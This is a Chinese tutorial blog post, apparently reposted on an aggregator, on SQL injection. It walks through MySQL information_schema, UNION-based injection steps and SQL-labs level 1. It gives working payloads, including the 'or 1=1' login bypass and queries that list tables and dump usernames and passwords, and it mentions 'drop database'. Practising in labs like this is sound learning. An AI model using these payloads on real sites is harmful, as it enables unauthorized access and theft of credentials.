IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> 渗透测试——sql注入(一) -> 正文阅读

[大数据]渗透测试——sql注入(一)

目录

一、SQL注入中重要的数据库知识

information_schema

注释

简单操作

union联合查询:

二、SQL注入

SQL注入漏洞

GET/POST型SQL注入

最简单的SQL注入

SQL注入带来的威胁

SQL注入手法

SQL攻击流程

SQL-labs第一关


一、SQL注入中重要的数据库知识

show databases ——列出所有数据库名
information_schema(信息库)—— 保存其他数据库里所有信息(数据库名、表、字段的数据类型/访问权限)
mysql—— 存储用户名 密码 host
performance_schema——内存数据库 数据放在内存中直接操作的数据库
sys——可以查询谁使用了最多的资源基于IP或者是用户(监控)

information_schema

SCHEMATA——当前MySQL实例中所有数据库信息

COLUMNS——表中列信息(字段)

TABLES——表的信息(表名等)

注释

sql注入一般使用第一种

第一种:--空格?

第二种:#

简单操作

列出所有数据库:

show databases

查看某一个数据库里所有的表:

use databasename(数据库名)

show tables

或者

show tables from databasename

每个语句用;分号隔开

select特殊应用与函数:

select now() 获得时间

select database()查看当前选择的是那个库

select version()查看版本

select user()查看当前登陆数据库的用户

select @@datadir 查看数据路径

select @@basedir 查看mysql安装路径

select @@version_compile_os 查看mysql安装的系统

union联合查询:

select * from 数据表 union select 1,2(union查询的字段数要与前面查询的字段数相同)

通过报错判断前面查询的字段数(查询暴露了几个字段)

二、SQL注入

SQL注入漏洞

用户输入的数据被构造成恶意的SQL代码,web应用又未对动态构造的SQL语句的参数进行审查,则会带来不同程度的威胁

GET/POST型SQL注入

提交网页内容的时候,主要分为GET/POST方法,GET提交方法提交内容会显现在URL上,对URL连接进行构造,有可能获得数据库信息内容,GET型SQL注入相对来说比较简单,POST型则需要先抓包再构造

最简单的SQL注入

网页源码中出现

select * from test where xxxx='%s'

显然是需要用户输入密码登入

此时用户如果不输入密码且输入

1 'or 1=1 --? 万能密码

则后端收到的语句为

select * from test where xxxx='1'or 1=1-- '

等效于?

select * from test

SQL注入带来的威胁

猜解后台数据库,盗取网站敏感信息

借助数据库的存储过程进行提权等操作

绕过验证,登陆网站后台

SQL注入手法

检索隐藏数据

获取敏感数据

修改应用逻辑

Union attack(联合攻击)有回显的可以使用union attack

盲注

删库:drop database?

SQL攻击流程

先判断注入点

然后判断网站所查询的字段数

union select 1,2,3... 用1,2,3...测试?

这一步也可以用order by 来确定

之后查询数据库名、用户、版本

union select database(),user(),version()

这里要与上面测试出来的字段数匹配,即字段数是几这里可以一次性查几个,如果多可以用1,2...进行占位,查询时测试一下前端输出与查询顺序如何匹配,并且与前端的数据类型相匹配

之后可以查询该数据库中的数据表名

union select table_name?from information_schema.tables where table_schema='database()/或者直接写刚才查询出来的库名' (记得占位)

对于只回显一条或几条记录的网站可以使用limit n,1000 来查询每一条记录

也可以直接group_concat(字段名)来直接一步到位

接下来对于一些敏感名称的表进行查看

比如说找到一张表叫user

union select column_name from information_schema.columns where table_name='user'

这里如果这样查询则会返回所有数据库中名为user的表的字段,这并不是我们想要的

所以我们给它加上限制条件

union select column_name from information_schema.columns where table_name='user' and table_schema=database() 限制在该数据库中

之后就基本上注入成功想查的数据就查到啦

SQL-labs第一关

我看很多大佬最后第一关的结果就是把users表全部显示,咱也不知到为啥,按照上面的步骤,咱也来动手试一下!

第一步——确定注入点

?提示我们输入一个id字段,并且这道题是get方式提交的,可以直接在url里面写

那就先试一下id

接下来测试一下这个id是字符型还是整形 即加不加'

?url会自动把空格翻译成%20 单引号翻译成%27

这里报错了,看报错好像多了一个' 尝试在后面加个注释

id=1' -- +

?结果出来了

到这一步我们已经确定了是字符型并且可以在这个位置进行注入

第二步判断它这条语句返回的字段数

用order by 或者 union?

这里用order by

即 id=1' order by n -- +

这里从1开始测试到4的时候报错

说明这条语句返回了3个字段的值

第三步我们开始用union attract 来看看它的一些不显示的信息

我们先看一下它查询字段的位置与前端输出的位置是如何匹配的

id=-1' union select 1,2,3 -- +??

这里把id写成-1是因为这里只显示出一条记录,为了方便显示的记录就是我们想看的记录,把前面正常查询的记录都排除掉,即让 union 前面的语句查询不到记录

这时我们能看到输出对应的是查询出的第2和第3个字段

我们接下来查询一下现在是在那个数据库中、数据库的版本、用户(这道题里这一步其实没啥用,但是还是走流程查一下)

id=-1' union select 1,database(),version() -- +?

数据库名security 版本5.5.53?

把前面任意一个函数改为user()就可以查到用户,这里不演示了

接下来看一看这个数据库中拥有的数据表吧因为这里只能输出一条记录而表名数量不确定我们可以使用group_concat()函数

id=-1' union select 1,group_concat(table_name),2 from information_schema.tables where table_schema=database() -- +?

看到如下表名,其中users看起来就楚楚可怜的,那让我们看一下它有那些字段,注意为了查询出来的字段都是该数据库中users表的数据,要加入限定条件

id=-1' union select 1,group_concat(column_name),2 from information_schema.columns where table_name='users' and table_schema=database() -- +?

直接查到 id username password

其实就是一开始让你输入id 然后显示username 和 password

其实到这里我没太看懂这次注入干了啥,一开始输入id也能看到这些信息,一顿操作最后还是为了看这些信息

现在让我们把这些信息都输出出来吧

id=-1' union select 1,2,group_concat(id ,username ,password) from users -- +

这样似乎就成功了

我们要不再看看其他表?

email直接就没数据

好吧那(一)就到这里?

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2022-10-08 20:48:45  更:2022-10-08 20:52:38 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2025年3日历 -2025/3/4 7:53:42-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码